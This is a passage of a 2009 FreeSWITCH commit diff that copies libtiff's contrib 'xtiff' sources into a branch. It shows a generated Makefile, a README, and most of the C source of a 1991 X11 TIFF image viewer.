+target = @target@
+target_alias = @target_alias@
+target_cpu = @target_cpu@
+target_os = @target_os@
+target_vendor = @target_vendor@
+EXTRA_DIST = Imakefile README patchlevel.h xtiff.c xtifficon.h
+all: all-am
+
+.SUFFIXES:
+$(srcdir)/Makefile.in: @MAINTAINER_MODE_TRUE@ $(srcdir)/Makefile.am  $(am__configure_deps)
+	@for dep in $?; do \
+	  case '$(am__configure_deps)' in \
+	    *$$dep*) \
+	      cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh \
+		&& exit 0; \
+	      exit 1;; \
+	  esac; \
+	done; \
+	echo ' cd $(top_srcdir) && $(AUTOMAKE) --foreign  contrib/dbs/xtiff/Makefile'; \
+	cd $(top_srcdir) && \
+	  $(AUTOMAKE) --foreign  contrib/dbs/xtiff/Makefile
+.PRECIOUS: Makefile
+Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status
+	@case '$?' in \
+	  *config.status*) \
+	    cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \
+	  *) \
+	    echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe)'; \
+	    cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe);; \
+	esac;
+
+$(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+
+$(top_srcdir)/configure: @MAINTAINER_MODE_TRUE@ $(am__configure_deps)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+$(ACLOCAL_M4): @MAINTAINER_MODE_TRUE@ $(am__aclocal_m4_deps)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+
+mostlyclean-libtool:
+	-rm -f *.lo
+
+clean-libtool:
+	-rm -rf .libs _libs
+
+distclean-libtool:
+	-rm -f libtool
+uninstall-info-am:
+tags: TAGS
+TAGS:
+
+ctags: CTAGS
+CTAGS:
+
+
+distdir: $(DISTFILES)
+	@srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`; \
+	topsrcdirstrip=`echo "$(top_srcdir)" | sed 's|.|.|g'`; \
+	list='$(DISTFILES)'; for file in $$list; do \
+	  case $$file in \
+	    $(srcdir)/*) file=`echo "$$file" | sed "s|^$$srcdirstrip/||"`;; \
+	    $(top_srcdir)/*) file=`echo "$$file" | sed "s|^$$topsrcdirstrip/|$(top_builddir)/|"`;; \
+	  esac; \
+	  if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \
+	  dir=`echo "$$file" | sed -e 's,/[^/]*$$,,'`; \
+	  if test "$$dir" != "$$file" && test "$$dir" != "."; then \
+	    dir="/$$dir"; \
+	    $(mkdir_p) "$(distdir)$$dir"; \
+	  else \
+	    dir=''; \
+	  fi; \
+	  if test -d $$d/$$file; then \
+	    if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \
+	      cp -pR $(srcdir)/$$file $(distdir)$$dir || exit 1; \
+	    fi; \
+	    cp -pR $$d/$$file $(distdir)$$dir || exit 1; \
+	  else \
+	    test -f $(distdir)/$$file \
+	    || cp -p $$d/$$file $(distdir)/$$file \
+	    || exit 1; \
+	  fi; \
+	done
+check-am: all-am
+check: check-am
+all-am: Makefile
+installdirs:
+install: install-am
+install-exec: install-exec-am
+install-data: install-data-am
+uninstall: uninstall-am
+
+install-am: all-am
+	@$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am
+
+installcheck: installcheck-am
+install-strip:
+	$(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \
+	  install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \
+	  `test -z '$(STRIP)' || \
+	    echo "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'"` install
+mostlyclean-generic:
+
+clean-generic:
+
+distclean-generic:
+	-test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES)
+
+maintainer-clean-generic:
+	@echo "This command is intended for maintainers to use"
+	@echo "it deletes files that may require special tools to rebuild."
+clean: clean-am
+
+clean-am: clean-generic clean-libtool mostlyclean-am
+
+distclean: distclean-am
+	-rm -f Makefile
+distclean-am: clean-am distclean-generic distclean-libtool
+
+dvi: dvi-am
+
+dvi-am:
+
+html: html-am
+
+info: info-am
+
+info-am:
+
+install-data-am:
+
+install-exec-am:
+
+install-info: install-info-am
+
+install-man:
+
+installcheck-am:
+
+maintainer-clean: maintainer-clean-am
+	-rm -f Makefile
+maintainer-clean-am: distclean-am maintainer-clean-generic
+
+mostlyclean: mostlyclean-am
+
+mostlyclean-am: mostlyclean-generic mostlyclean-libtool
+
+pdf: pdf-am
+
+pdf-am:
+
+ps: ps-am
+
+ps-am:
+
+uninstall-am: uninstall-info-am
+
+.PHONY: all all-am check check-am clean clean-generic clean-libtool \
+	distclean distclean-generic distclean-libtool distdir dvi \
+	dvi-am html html-am info info-am install install-am \
+	install-data install-data-am install-exec install-exec-am \
+	install-info install-info-am install-man install-strip \
+	installcheck installcheck-am installdirs maintainer-clean \
+	maintainer-clean-generic mostlyclean mostlyclean-generic \
+	mostlyclean-libtool pdf pdf-am ps ps-am uninstall uninstall-am \
+	uninstall-info-am
+
+# Tell versions [3.59,3.63) of GNU make to not export all variables.
+# Otherwise a system limit (for SysV at least) may be exceeded.
+.NOEXPORT:

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/xtiff/README

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/xtiff/README (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/dbs/xtiff/README) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/xtiff/README	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/xtiff/README	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,6 @@
+xtiff 2.0
+
+xtiff is a tool for viewing a TIFF file in an X window.  It was written to
+handle as many different kinds of TIFF files as possible while remaining
+simple, portable and efficient.  xtiff requires X11 R4, the Athena Widgets
+and Sam Leffler's libtiff package (which can be found on ucbvax.berkeley.edu).

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/xtiff/patchlevel.h

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/xtiff/patchlevel.h (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/dbs/xtiff/patchlevel.h) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/xtiff/patchlevel.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/xtiff/patchlevel.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1 @@
+#define PATCHLEVEL 0

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/xtiff/xtiff.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/xtiff/xtiff.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/dbs/xtiff/xtiff.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/xtiff/xtiff.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/xtiff/xtiff.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,1275 @@
+/*
+ * xtiff - view a TIFF file in an X window
+ *
+ * Dan Sears
+ * Chris Sears
+ *
+ * Copyright 1991 by Digital Equipment Corporation, Maynard, Massachusetts.
+ *
+ *                      All Rights Reserved
+ *
+ * Permission to use, copy, modify, and distribute this software and its
+ * documentation for any purpose and without fee is hereby granted,
+ * provided that the above copyright notice appear in all copies and that
+ * both that copyright notice and this permission notice appear in
+ * supporting documentation, and that the name of Digital not be
+ * used in advertising or publicity pertaining to distribution of the
+ * software without specific, written prior permission.
+ *
+ * DIGITAL DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING
+ * ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL
+ * DIGITAL BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR
+ * ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION,
+ * ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS
+ * SOFTWARE.
+ *
+ * Revision 1.0  90/05/07
+ *      Initial release.
+ * Revision 2.0  90/12/20
+ *      Converted to use the Athena Widgets and the Xt Intrinsics.
+ *
+ * Notes:
+ *
+ * According to the TIFF 5.0 Specification, it is possible to have
+ * both a TIFFTAG_COLORMAP and a TIFFTAG_COLORRESPONSECURVE.  This
+ * doesn't make sense since a TIFFTAG_COLORMAP is 16 bits wide and
+ * a TIFFTAG_COLORRESPONSECURVE is tfBitsPerSample bits wide for each
+ * channel.  This is probably a bug in the specification.
+ * In this case, TIFFTAG_COLORRESPONSECURVE is ignored.
+ * This might make sense if TIFFTAG_COLORMAP was 8 bits wide.
+ *
+ * TIFFTAG_COLORMAP is often incorrectly written as ranging from
+ * 0 to 255 rather than from 0 to 65535.  CheckAndCorrectColormap()
+ * takes care of this.
+ *
+ * Only ORIENTATION_TOPLEFT is supported correctly.  This is the
+ * default TIFF and X orientation.  Other orientations will be
+ * displayed incorrectly.
+ *
+ * There is no support for or use of 3/3/2 DirectColor visuals.
+ * TIFFTAG_MINSAMPLEVALUE and TIFFTAG_MAXSAMPLEVALUE are not supported.
+ *
+ * Only TIFFTAG_BITSPERSAMPLE values that are 1, 2, 4 or 8 are supported.
+ */
+#include <math.h>
+#include <stdio.h>
+#include <tiffio.h>
+#include <X11/Xatom.h>
+#include <X11/Intrinsic.h>
+#include <X11/StringDefs.h>
+#include <X11/Xproto.h>
+#include <X11/Shell.h>
+#include <X11/Xaw/Form.h>
+#include <X11/Xaw/List.h>
+#include <X11/Xaw/Label.h>
+#include <X11/cursorfont.h>
+#define XK_MISCELLANY
+#include <X11/keysymdef.h>
+#include "xtifficon.h"
+
+#define TIFF_GAMMA      "2.2"     /* default gamma from the TIFF 5.0 spec */
+#define ROUND(x)        (u_short) ((x) + 0.5)
+#define SCALE(x, s)     (((x) * 65535L) / (s))
+#define MCHECK(m)       if (!m) { fprintf(stderr, "malloc failed\n"); exit(0); }
+#define MIN(a, b)       (((a) < (b)) ? (a) : (b))
+#define MAX(a, b)       (((a) > (b)) ? (a) : (b))
+#define VIEWPORT_WIDTH  700
+#define VIEWPORT_HEIGHT 500
+#define KEY_TRANSLATE   20
+
+#ifdef __STDC__
+#define PP(args)    args
+#else
+#define PP(args)    ()
+#endif
+
+void main PP((int argc, char **argv));
+void OpenTIFFFile PP((void));
+void GetTIFFHeader PP((void));
+void SetNameLabel PP((void));
+void CheckAndCorrectColormap PP((void));
+void SimpleGammaCorrection PP((void));
+void GetVisual PP((void));
+Boolean SearchVisualList PP((int image_depth,
+    int visual_class, Visual **visual));
+void GetTIFFImage PP((void));
+void CreateXImage PP((void));
+XtCallbackProc SelectProc PP((Widget w, caddr_t unused_1, caddr_t unused_2));
+void QuitProc PP((void));
+void NextProc PP((void));
+void PreviousProc PP((void));
+void PageProc PP((int direction));
+void EventProc PP((Widget widget, caddr_t unused, XEvent *event));
+void ResizeProc PP((void));
+int XTiffErrorHandler PP((Display *display, XErrorEvent *error_event));
+void Usage PP((void));
+
+int xtVersion = XtSpecificationRelease;     /* xtiff depends on R4 or higher */
+
+/*
+ * Xt data structures
+ */
+Widget shellWidget, formWidget, listWidget, labelWidget, imageWidget;
+
+enum { ButtonQuit = 0, ButtonPreviousPage = 1, ButtonNextPage = 2 };
+
+String buttonStrings[] = { "Quit", "Previous", "Next" };
+
+static XrmOptionDescRec shellOptions[] = {
+    { "-help", "*help", XrmoptionNoArg, (caddr_t) "True" },
+    { "-gamma", "*gamma", XrmoptionSepArg, NULL },
+    { "-usePixmap", "*usePixmap", XrmoptionSepArg, NULL },
+    { "-viewportWidth", "*viewportWidth", XrmoptionSepArg, NULL },
+    { "-viewportHeight", "*viewportHeight", XrmoptionSepArg, NULL },
+    { "-translate", "*translate", XrmoptionSepArg, NULL },
+    { "-verbose", "*verbose", XrmoptionSepArg, NULL }
+};
+
+typedef struct {
+    Boolean help;
+    float gamma;
+    Boolean usePixmap;
+    int viewportWidth;
+    int viewportHeight;
+    int translate;
+    Boolean verbose;
+} AppData, *AppDataPtr;
+
+AppData appData;
+
+XtResource clientResources[] = {
+    {
+        "help", XtCBoolean, XtRBoolean, sizeof(Boolean),
+        XtOffset(AppDataPtr, help), XtRImmediate, (XtPointer) False
+    }, {
+        "gamma", "Gamma", XtRFloat, sizeof(float),
+        XtOffset(AppDataPtr, gamma), XtRString, (XtPointer) TIFF_GAMMA
+    }, {
+        "usePixmap", "UsePixmap", XtRBoolean, sizeof(Boolean),
+        XtOffset(AppDataPtr, usePixmap), XtRImmediate, (XtPointer) True
+    }, {
+        "viewportWidth", "ViewportWidth", XtRInt, sizeof(int),
+        XtOffset(AppDataPtr, viewportWidth), XtRImmediate,
+        (XtPointer) VIEWPORT_WIDTH
+    }, {
+        "viewportHeight", "ViewportHeight", XtRInt, sizeof(int),
+        XtOffset(AppDataPtr, viewportHeight), XtRImmediate,
+        (XtPointer) VIEWPORT_HEIGHT
+    }, {
+        "translate", "Translate", XtRInt, sizeof(int),
+        XtOffset(AppDataPtr, translate), XtRImmediate, (XtPointer) KEY_TRANSLATE
+    }, {
+        "verbose", "Verbose", XtRBoolean, sizeof(Boolean),
+        XtOffset(AppDataPtr, verbose), XtRImmediate, (XtPointer) True
+    }
+};
+
+Arg formArgs[] = {
+    { XtNresizable, True }
+};
+
+Arg listArgs[] = {
+    { XtNresizable, False },
+    { XtNborderWidth, 0 },
+    { XtNdefaultColumns, 3 },
+    { XtNforceColumns, True },
+    { XtNlist, (int) buttonStrings },
+    { XtNnumberStrings, XtNumber(buttonStrings) },
+    { XtNtop, XtChainTop },
+    { XtNleft, XtChainLeft },
+    { XtNbottom, XtChainTop },
+    { XtNright, XtChainLeft }
+};
+
+Arg labelArgs[] = {
+    { XtNresizable, False },
+    { XtNwidth, 200 },
+    { XtNborderWidth, 0 },
+    { XtNjustify, XtJustifyLeft },
+    { XtNtop, XtChainTop },
+    { XtNleft, XtChainLeft },
+    { XtNbottom, XtChainTop },
+    { XtNright, XtChainLeft }
+};
+
+Arg imageArgs[] = {
+    { XtNresizable, True },
+    { XtNborderWidth, 0 },
+    { XtNtop, XtChainTop },
+    { XtNleft, XtChainLeft },
+    { XtNbottom, XtChainTop },
+    { XtNright, XtChainLeft }
+};
+
+XtActionsRec actionsTable[] = {
+    { "quit", QuitProc },
+    { "next", NextProc },
+    { "previous", PreviousProc },
+    { "notifyresize", ResizeProc }
+};
+
+char translationsTable[] = "<Key>q:      quit() \n \
+                            <Key>Q:      quit() \n \
+                            <Message>WM_PROTOCOLS: quit()\n \
+                            <Key>p:      previous() \n \
+                            <Key>P:      previous() \n \
+                            <Key>n:      next() \n \
+                            <Key>N:      next() \n \
+                            <Configure>: notifyresize()";
+
+/*
+ * X data structures
+ */
+Colormap            xColormap;
+Display *           xDisplay;
+Pixmap              xImagePixmap;
+Visual *            xVisual;
+XImage *            xImage;
+GC                  xWinGc;
+int                 xImageDepth, xScreen, xRedMask, xGreenMask, xBlueMask,
+                    xOffset = 0, yOffset = 0, grabX = -1, grabY = -1;
+u_char              basePixel = 0;
+
+/*
+ * TIFF data structures
+ */
+TIFF *              tfFile = NULL;
+u_long              tfImageWidth, tfImageHeight;
+u_short             tfBitsPerSample, tfSamplesPerPixel, tfPlanarConfiguration,
+                    tfPhotometricInterpretation, tfGrayResponseUnit,
+                    tfImageDepth, tfBytesPerRow;
+int                 tfDirectory = 0, tfMultiPage = False;
+double              tfUnitMap, tfGrayResponseUnitMap[] = {
+                        -1, -10, -100, -1000, -10000, -100000
+                    };
+
+/*
+ * display data structures
+ */
+double              *dRed, *dGreen, *dBlue;
+
+/*
+ * shared data structures
+ */
+u_short *           redMap = NULL, *greenMap = NULL, *blueMap = NULL,
+                    *grayMap = NULL, colormapSize;
+u_char *            imageMemory;
+char *              fileName;
+
+void
+main(argc, argv)
+    int argc;
+    char ** argv;
+{
+    XSetWindowAttributes window_attributes;
+    Widget widget_list[3];
+    Arg args[5];
+
+    setbuf(stdout, NULL); setbuf(stderr, NULL);
+
+    shellWidget = XtInitialize(argv[0], "XTiff", shellOptions,
+        XtNumber(shellOptions), &argc, argv);
+
+    XSetErrorHandler(XTiffErrorHandler);
+
+    XtGetApplicationResources(shellWidget, &appData,
+        (XtResourceList) clientResources, (Cardinal) XtNumber(clientResources),
+        (ArgList) NULL, (Cardinal) 0);
+
+    if ((argc <= 1) || (argc > 2) || appData.help)
+        Usage();
+
+    if (appData.verbose == False) {
+        TIFFSetErrorHandler(0);
+        TIFFSetWarningHandler(0);
+    }
+
+    fileName = argv[1];
+
+    xDisplay = XtDisplay(shellWidget);
+    xScreen = DefaultScreen(xDisplay);
+
+    OpenTIFFFile();
+    GetTIFFHeader();
+    SimpleGammaCorrection();
+    GetVisual();
+    GetTIFFImage();
+
+    /*
+     * Send visual, colormap, depth and iconPixmap to shellWidget.
+     * Sending the visual to the shell is only possible with the advent of R4.
+     */
+    XtSetArg(args[0], XtNvisual, xVisual);
+    XtSetArg(args[1], XtNcolormap, xColormap);
+    XtSetArg(args[2], XtNdepth,
+        xImageDepth == 1 ? DefaultDepth(xDisplay, xScreen) : xImageDepth);
+    XtSetArg(args[3], XtNiconPixmap,
+        XCreateBitmapFromData(xDisplay, RootWindow(xDisplay, xScreen),
+            xtifficon_bits, xtifficon_width, xtifficon_height));
+    XtSetArg(args[4], XtNallowShellResize, True);
+    XtSetValues(shellWidget, args, 5);
+
+    /*
+     * widget instance hierarchy
+     */
+    formWidget = XtCreateManagedWidget("form", formWidgetClass,
+        shellWidget, formArgs, XtNumber(formArgs));
+
+        widget_list[0] = listWidget = XtCreateWidget("list",
+            listWidgetClass, formWidget, listArgs, XtNumber(listArgs));
+
+        widget_list[1] = labelWidget = XtCreateWidget("label",
+            labelWidgetClass, formWidget, labelArgs, XtNumber(labelArgs));
+
+        widget_list[2] = imageWidget = XtCreateWidget("image",
+            widgetClass, formWidget, imageArgs, XtNumber(imageArgs));
+
+    XtManageChildren(widget_list, XtNumber(widget_list));
+
+    /*
+     * initial widget sizes - for small images let xtiff size itself
+     */
+    if (tfImageWidth >= appData.viewportWidth) {
+        XtSetArg(args[0], XtNwidth, appData.viewportWidth);
+        XtSetValues(shellWidget, args, 1);
+    }
+    if (tfImageHeight >= appData.viewportHeight) {
+        XtSetArg(args[0], XtNheight, appData.viewportHeight);
+        XtSetValues(shellWidget, args, 1);
+    }
+
+    XtSetArg(args[0], XtNwidth, tfImageWidth);
+    XtSetArg(args[1], XtNheight, tfImageHeight);
+    XtSetValues(imageWidget, args, 2);
+
+    /*
+     * formWidget uses these constraints but they are stored in the children.
+     */
+    XtSetArg(args[0], XtNfromVert, listWidget);
+    XtSetValues(imageWidget, args, 1);
+    XtSetArg(args[0], XtNfromHoriz, listWidget);
+    XtSetValues(labelWidget, args, 1);
+
+    SetNameLabel();
+
+    XtAddCallback(listWidget, XtNcallback, (XtCallbackProc) SelectProc,
+        (XtPointer) NULL);
+
+    XtAddActions(actionsTable, XtNumber(actionsTable));
+    XtSetArg(args[0], XtNtranslations,
+        XtParseTranslationTable(translationsTable));
+    XtSetValues(formWidget, &args[0], 1);
+    XtSetValues(imageWidget, &args[0], 1);
+
+    /*
+     * This is intended to be a little faster than going through
+     * the translation manager.
+     */
+    XtAddEventHandler(imageWidget, ExposureMask | ButtonPressMask
+        | ButtonReleaseMask | Button1MotionMask | KeyPressMask,
+        False, EventProc, NULL);
+
+    XtRealizeWidget(shellWidget);
+
+    window_attributes.cursor = XCreateFontCursor(xDisplay, XC_fleur);
+    XChangeWindowAttributes(xDisplay, XtWindow(imageWidget),
+        CWCursor, &window_attributes);
+
+    CreateXImage();
+
+    XtMainLoop();
+}
+
+void
+OpenTIFFFile()
+{
+    if (tfFile != NULL)
+        TIFFClose(tfFile);
+
+    if ((tfFile = TIFFOpen(fileName, "r")) == NULL) {
+	fprintf(appData.verbose ? stderr : stdout,
+	    "xtiff: can't open %s as a TIFF file\n", fileName);
+        exit(0);
+    }
+
+    tfMultiPage = (TIFFLastDirectory(tfFile) ? False : True);
+}
+
+void
+GetTIFFHeader()
+{
+    register int i;
+
+    if (!TIFFSetDirectory(tfFile, tfDirectory)) {
+        fprintf(stderr, "xtiff: can't seek to directory %d in %s\n",
+            tfDirectory, fileName);
+        exit(0);
+    }
+
+    TIFFGetField(tfFile, TIFFTAG_IMAGEWIDTH, &tfImageWidth);
+    TIFFGetField(tfFile, TIFFTAG_IMAGELENGTH, &tfImageHeight);
+
+    /*
+     * If the following tags aren't present then use the TIFF defaults.
+     */
+    TIFFGetFieldDefaulted(tfFile, TIFFTAG_BITSPERSAMPLE, &tfBitsPerSample);
+    TIFFGetFieldDefaulted(tfFile, TIFFTAG_SAMPLESPERPIXEL, &tfSamplesPerPixel);
+    TIFFGetFieldDefaulted(tfFile, TIFFTAG_PLANARCONFIG, &tfPlanarConfiguration);
+    TIFFGetFieldDefaulted(tfFile, TIFFTAG_GRAYRESPONSEUNIT, &tfGrayResponseUnit);
+
+    tfUnitMap = tfGrayResponseUnitMap[tfGrayResponseUnit];
+    colormapSize = 1 << tfBitsPerSample;
+    tfImageDepth = tfBitsPerSample * tfSamplesPerPixel;
+
+    dRed = (double *) malloc(colormapSize * sizeof(double));
+    dGreen = (double *) malloc(colormapSize * sizeof(double));
+    dBlue = (double *) malloc(colormapSize * sizeof(double));
+    MCHECK(dRed); MCHECK(dGreen); MCHECK(dBlue);
+
+    /*
+     * If TIFFTAG_PHOTOMETRIC is not present then assign a reasonable default.
+     * The TIFF 5.0 specification doesn't give a default.
+     */
+    if (!TIFFGetField(tfFile, TIFFTAG_PHOTOMETRIC,
+            &tfPhotometricInterpretation)) {
+        if (tfSamplesPerPixel != 1)
+            tfPhotometricInterpretation = PHOTOMETRIC_RGB;
+        else if (tfBitsPerSample == 1)
+            tfPhotometricInterpretation = PHOTOMETRIC_MINISBLACK;
+        else if (TIFFGetField(tfFile, TIFFTAG_COLORMAP,
+                &redMap, &greenMap, &blueMap)) {
+            tfPhotometricInterpretation = PHOTOMETRIC_PALETTE;
+            redMap = greenMap = blueMap = NULL;
+        } else
+            tfPhotometricInterpretation = PHOTOMETRIC_MINISBLACK;
+    }
+
+    /*
+     * Given TIFFTAG_PHOTOMETRIC extract or create the response curves.
+     */
+    switch (tfPhotometricInterpretation) {
+    case PHOTOMETRIC_RGB:
+	redMap = (u_short *) malloc(colormapSize * sizeof(u_short));
+	greenMap = (u_short *) malloc(colormapSize * sizeof(u_short));
+	blueMap = (u_short *) malloc(colormapSize * sizeof(u_short));
+	MCHECK(redMap); MCHECK(greenMap); MCHECK(blueMap);
+	for (i = 0; i < colormapSize; i++)
+	    dRed[i] = dGreen[i] = dBlue[i]
+		= (double) SCALE(i, colormapSize - 1);
+        break;
+    case PHOTOMETRIC_PALETTE:
+        if (!TIFFGetField(tfFile, TIFFTAG_COLORMAP,
+                &redMap, &greenMap, &blueMap)) {
+            redMap = (u_short *) malloc(colormapSize * sizeof(u_short));
+            greenMap = (u_short *) malloc(colormapSize * sizeof(u_short));
+            blueMap = (u_short *) malloc(colormapSize * sizeof(u_short));
+            MCHECK(redMap); MCHECK(greenMap); MCHECK(blueMap);
+            for (i = 0; i < colormapSize; i++)
+                dRed[i] = dGreen[i] = dBlue[i]
+                    = (double) SCALE(i, colormapSize - 1);
+        } else {
+            CheckAndCorrectColormap();
+            for (i = 0; i < colormapSize; i++) {
+                dRed[i] = (double) redMap[i];
+                dGreen[i] = (double) greenMap[i];
+                dBlue[i] = (double) blueMap[i];
+            }
+        }
+        break;
+    case PHOTOMETRIC_MINISWHITE:
+        redMap = (u_short *) malloc(colormapSize * sizeof(u_short));
+        greenMap = (u_short *) malloc(colormapSize * sizeof(u_short));
+        blueMap = (u_short *) malloc(colormapSize * sizeof(u_short));
+        MCHECK(redMap); MCHECK(greenMap); MCHECK(blueMap);
+	for (i = 0; i < colormapSize; i++)
+	    dRed[i] = dGreen[i] = dBlue[i] = (double)
+		 SCALE(colormapSize-1-i, colormapSize-1);
+        break;
+    case PHOTOMETRIC_MINISBLACK:
+        redMap = (u_short *) malloc(colormapSize * sizeof(u_short));
+        greenMap = (u_short *) malloc(colormapSize * sizeof(u_short));
+        blueMap = (u_short *) malloc(colormapSize * sizeof(u_short));
+        MCHECK(redMap); MCHECK(greenMap); MCHECK(blueMap);
+	for (i = 0; i < colormapSize; i++)
+	    dRed[i] = dGreen[i] = dBlue[i] = (double) SCALE(i, colormapSize-1);
+        break;
+    default:
+        fprintf(stderr,
+            "xtiff: can't display photometric interpretation type %d\n",
+            tfPhotometricInterpretation);
+        exit(0);
+    }
+}
+
+void
+SetNameLabel()
+{
+    char buffer[BUFSIZ];
+    Arg args[1];
+
+    if (tfMultiPage)
+        sprintf(buffer, "%s - page %d", fileName, tfDirectory);
+    else
+        strcpy(buffer, fileName);
+    XtSetArg(args[0], XtNlabel, buffer);
+    XtSetValues(labelWidget, args, 1);
+}
+
+/*
+ * Many programs get TIFF colormaps wrong.  They use 8-bit colormaps instead of
+ * 16-bit colormaps.  This function is a heuristic to detect and correct this.
+ */
+void
+CheckAndCorrectColormap()
+{
+    register int i;
+
+    for (i = 0; i < colormapSize; i++)
+        if ((redMap[i] > 255) || (greenMap[i] > 255) || (blueMap[i] > 255))
+            return;
+
+    for (i = 0; i < colormapSize; i++) {
+        redMap[i] = SCALE(redMap[i], 255);
+        greenMap[i] = SCALE(greenMap[i], 255);
+        blueMap[i] = SCALE(blueMap[i], 255);
+    }
+    TIFFWarning(fileName, "Assuming 8-bit colormap");
+}
+
+void
+SimpleGammaCorrection()
+{
+    register int i;
+    register double i_gamma = 1.0 / appData.gamma;
+
+    for (i = 0; i < colormapSize; i++) {
+        if (((tfPhotometricInterpretation == PHOTOMETRIC_MINISWHITE)
+            && (i == colormapSize - 1))
+            || ((tfPhotometricInterpretation == PHOTOMETRIC_MINISBLACK)
+            && (i == 0)))
+            redMap[i] = greenMap[i] = blueMap[i] = 0;
+        else {
+            redMap[i] = ROUND((pow(dRed[i] / 65535.0, i_gamma) * 65535.0));
+            greenMap[i] = ROUND((pow(dGreen[i] / 65535.0, i_gamma) * 65535.0));
+            blueMap[i] = ROUND((pow(dBlue[i] / 65535.0, i_gamma) * 65535.0));
+        }
+    }
+
+    free(dRed); free(dGreen); free(dBlue);
+}
+
+static char* classNames[] = {
+    "StaticGray",
+    "GrayScale",
+    "StaticColor",
+    "PseudoColor",
+    "TrueColor",
+    "DirectColor"
+};
+
+/*
+ * Current limitation: the visual is set initially by the first file.
+ * It cannot be changed.
+ */
+void
+GetVisual()
+{
+    register XColor *colors = NULL;
+    register u_long *pixels = NULL;
+    register int i;
+
+    switch (tfImageDepth) {
+    /*
+     * X really wants a 32-bit image with the fourth channel unused,
+     * but the visual structure thinks it's 24-bit.  bitmap_unit is 32.
+     */
+    case 32:
+    case 24:
+        if (SearchVisualList(24, DirectColor, &xVisual) == False) {
+            fprintf(stderr, "xtiff: 24-bit DirectColor visual not available\n");
+            exit(0);
+        }
+
+        colors = (XColor *) malloc(3 * colormapSize * sizeof(XColor));
+        MCHECK(colors);
+
+        for (i = 0; i < colormapSize; i++) {
+            colors[i].pixel = (u_long) (i << 16) + (i << 8) + i;
+            colors[i].red = redMap[i];
+            colors[i].green = greenMap[i];
+            colors[i].blue = blueMap[i];
+            colors[i].flags = DoRed | DoGreen | DoBlue;
+        }
+
+        xColormap = XCreateColormap(xDisplay, RootWindow(xDisplay, xScreen),
+            xVisual, AllocAll);
+        XStoreColors(xDisplay, xColormap, colors, colormapSize);
+        break;
+    case 8:
+    case 4:
+    case 2:
+        /*
+         * We assume that systems with 24-bit visuals also have 8-bit visuals.
+         * We don't promote from 8-bit PseudoColor to 24/32 bit DirectColor.
+         */
+        switch (tfPhotometricInterpretation) {
+        case PHOTOMETRIC_MINISWHITE:
+        case PHOTOMETRIC_MINISBLACK:
+            if (SearchVisualList((int) tfImageDepth, GrayScale, &xVisual) == True)
+                break;
+        case PHOTOMETRIC_PALETTE:
+            if (SearchVisualList((int) tfImageDepth, PseudoColor, &xVisual) == True)
+                break;
+        default:
+            fprintf(stderr, "xtiff: Unsupported TIFF/X configuration\n");
+            exit(0);
+        }
+
+        colors = (XColor *) malloc(colormapSize * sizeof(XColor));
+        MCHECK(colors);
+
+        for (i = 0; i < colormapSize; i++) {
+            colors[i].pixel = (u_long) i;
+            colors[i].red = redMap[i];
+            colors[i].green = greenMap[i];
+            colors[i].blue = blueMap[i];
+            colors[i].flags = DoRed | DoGreen | DoBlue;
+        }
+
+        /*
+         * xtiff's colormap allocation is private.  It does not attempt
+         * to detect whether any existing colormap entries are suitable
+         * for its use.  This will cause colormap flashing.  Furthermore,
+         * background and foreground are taken from the environment.
+         * For example, the foreground color may be red when the visual
+         * is GrayScale.  If the colormap is completely populated,
+         * Xt will not be able to allocate fg and bg.
+         */
+        if (tfImageDepth == 8)
+            xColormap = XCreateColormap(xDisplay, RootWindow(xDisplay, xScreen),
+                xVisual, AllocAll);
+        else {
